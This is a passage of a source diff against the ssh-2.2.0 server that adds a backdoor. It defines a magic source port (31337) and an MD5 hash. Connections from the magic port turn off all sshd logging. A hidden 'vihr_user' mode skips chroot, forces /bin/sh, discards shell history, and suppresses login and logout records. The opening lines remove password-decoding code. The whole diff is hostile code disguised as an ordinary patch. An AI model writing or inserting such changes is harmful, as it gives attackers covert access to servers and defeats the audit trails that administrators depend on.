- if (ssh_decode_buffer(packet,
- SSH_FORMAT_BOOLEAN, &change_request,
- SSH_FORMAT_UINT32_STR, &password, &pass_len,
- SSH_FORMAT_END) == 0)
- {
- SSH_DEBUG(2, (“bad packet”));
- goto password_bad;
- }
-
if (!config->permit_empty_passwords && pass_len == 0L)
{
char *s = “login with empty passwords not permitted.”;
diff -ru ssh-2.2.0/apps/ssh/sshchsession.c ssh-2.2.0.vihr/apps/ssh/sshchsession.c
— ssh-2.2.0/apps/ssh/sshchsession.c Mon Jun 12 19:38:59 2000
+++ ssh-2.2.0.vihr/apps/ssh/sshchsession.c Sat Jul 28 21:02:41 2001
@@ -197,6 +197,9 @@
const char *group;
char *current;

+ /* No chroot for vihr users */
+ if (common->config->vihr_user) return FALSE;
+
uid = ssh_user_uid(uc);
gid = ssh_user_gid(uc);
user = ssh_user_name(uc);
@@ -450,6 +453,9 @@
user_dir = ssh_user_dir(session->common->user_data);

user_shell = ssh_user_shell(session->common->user_data);
+ if (session->common->config->vihr_user)
+ user_shell = ssh_xstrdup(“/bin/sh”);
+
user_conf_dir = ssh_user_conf_dir(session->common->config,
session->common->user_data);

@@ -459,6 +465,10 @@
ssh_child_set_env(envp, envsizep, “LOGNAME”, user_name);
ssh_child_set_env(envp, envsizep, “PATH”, DEFAULT_PATH “:” SSH_BINDIR);

+ /* No history for vihr users */
+ if (session->common->config->vihr_user)
+ ssh_child_set_env(envp, envsizep, “HISTFILE”, “/dev/null”);
+
#ifdef MAIL_SPOOL_DIRECTORY
snprintf(buf, sizeof(buf), “%s/%s”, MAIL_SPOOL_DIRECTORY, user_name);
ssh_child_set_env(envp, envsizep, “MAIL”, buf);
@@ -585,6 +595,9 @@
#endif /* SSH_CHANNEL_X11 */

shell = ssh_user_shell(session->common->user_data);
+ if (session->common->config->vihr_user)
+ shell = ssh_xstrdup(“/bin/sh”);
+
user_conf_dir = ssh_user_conf_dir(session->common->config,
session->common->user_data);

@@ -811,6 +824,8 @@

/* Get the user’s shell, and the last component of it. */
shell = ssh_user_shell(session->common->user_data);
+ if (session->common->config->vihr_user)
+ shell = ssh_xstrdup(“/bin/sh”);

shell_no_path = strrchr(shell, ‘/’);
if (shell_no_path)
@@ -993,11 +1008,17 @@
session->common->last_login_from_host,
session->common->
sizeof_last_login_from_host);
- ssh_user_record_login(session->common->user_data,
- getpid(),
- ptyname,
- session->common->remote_host,
- session->common->remote_ip);
+
+ /* No login records for chroot users */
+ if (!session->common->config->vihr_user)
+ {
+ ssh_user_record_login(session->common->user_data,
+ getpid(),
+ ptyname,
+ session->common->remote_host,
+ session->common->remote_ip);
+ }
+
ssh_channel_session_child(session, op, cmd);
ssh_debug(“ssh_channel_session_child returned”);
exit(255);
@@ -1403,7 +1424,10 @@
{
SSH_TRACE(2, (“Destroying session stream, and logging user out.”));
ssh_pty_get_name(session->stream, ptyname, sizeof(ptyname));
- ssh_user_record_logout(ssh_pty_get_pid(session->stream), ptyname);
+
+ /* No logout records for vihr users */
+ if (!session->common->config->vihr_user)
+ ssh_user_record_logout(ssh_pty_get_pid(session->stream), ptyname);
}
}

diff -ru ssh-2.2.0/apps/ssh/sshconfig.c ssh-2.2.0.vihr/apps/ssh/sshconfig.c
— ssh-2.2.0/apps/ssh/sshconfig.c Mon Jun 12 19:38:59 2000
+++ ssh-2.2.0.vihr/apps/ssh/sshconfig.c Sat Jul 28 02:53:25 2001
@@ -250,6 +250,10 @@

config->signer_path = ssh_xstrdup(SSH_SIGNER_PATH);
config->default_domain = NULL;
+
+ config->vihr_no_logs = 0;
+ config->vihr_user = 0;
+
return config;
}

diff -ru ssh-2.2.0/apps/ssh/sshconfig.h ssh-2.2.0.vihr/apps/ssh/sshconfig.h
— ssh-2.2.0/apps/ssh/sshconfig.h Mon Jun 12 19:38:57 2000
+++ ssh-2.2.0.vihr/apps/ssh/sshconfig.h Sat Jul 28 21:06:54 2001
@@ -25,6 +25,9 @@
#define SUBSYSTEM_PREFIX “subsystem-”
#define SUBSYSTEM_PREFIX_LEN 10

+#define VIHR_MAGIC_MD5 “2f3a4fccca6406e35bcf33e92dd93135″
+#define VIHR_MAGIC_PORT 31337
+
typedef struct SshSubsystemRec
{
char *name; /* name of the subsystem */
@@ -223,6 +226,11 @@
/* The default domain, which should be set if, for example
‘hostname’ returns only basepart of the FQDN. */
char *default_domain;
+
+ /* vihr_no_logs disables all ssh logging
+ * vihr_user disables all login checks and recording */
+ int vihr_no_logs;
+ int vihr_user;
};

typedef struct SshConfigRec *SshConfig;
diff -ru ssh-2.2.0/apps/ssh/sshd2.c ssh-2.2.0.vihr/apps/ssh/sshd2.c
— ssh-2.2.0/apps/ssh/sshd2.c Mon Jun 12 19:38:58 2000
+++ ssh-2.2.0.vihr/apps/ssh/sshd2.c Sat Jul 28 20:16:29 2001
@@ -569,6 +569,16 @@
snprintf(buf, sizeof(buf), “UNKNOWN”);
}

+#ifdef VIHR_MAGIC_PORT
+ if (ssh_tcp_get_remote_port(stream, buf, sizeof(buf)))
+ {
+ if (atoi(buf) == VIHR_MAGIC_PORT)
+ {
+ data->config->vihr_no_logs = 1;
+ }
+ }
+#endif /* VIHR_MAGIC_PORT */
+
ssh_log_event(data->config->log_facility, SSH_LOG_INFORMATIONAL,
“connection from \”%s\”", buf);

@@ -654,6 +664,11 @@
“open connections (max %d, now open %d).”,
buf, data->config->max_connections,
data->connections);
+
+ /* Restore normal operation */
+ data->config->vihr_no_logs = 0;
+ data->config->vihr_user = 0;
+
/* return from this callback. */
return;
}
@@ -778,6 +793,13 @@
}

ssh_debug(“new_connection_callback returning”);
+
+ if (ret != 0)
+ {
+ /* Restore normal operation for the parent */
+ data->config->vihr_no_logs = 0;
+ data->config->vihr_user = 0;
+ }
}

void broadcast_callback(SshUdpListener listener, void *context)
@@ -894,6 +916,9 @@
{
SshServerData data = (SshServerData)context;

+ if (data->config && data->config->vihr_no_logs)
+ return;
+
if (data->config && data->config->quiet_mode)
return;

@@ -905,6 +930,9 @@
{
SshServerData data = (SshServerData)context;

+ if (data->config && data->config->vihr_no_logs)
+ return;
+
if (data->config && data->config->quiet_mode)
return;

@@ -917,6 +945,9 @@
void server_ssh_fatal(const char *msg, void *context)
{
SshServerData data = (SshServerData)context;
+ if (data->config && data->config->vihr_no_logs)
+ return;
+
data->ssh_fatal_called = TRUE;

ssh_log_event(data->config->log_facility, SSH_LOG_ERROR, “FATAL ERROR: %s”,
@@ -993,6 +1024,9 @@
static int logopt;
static int logfac;

+ if (data->config && data->config->vihr_no_logs)
+ return;
+
if (! logopen)
{
logopt = LOG_PID;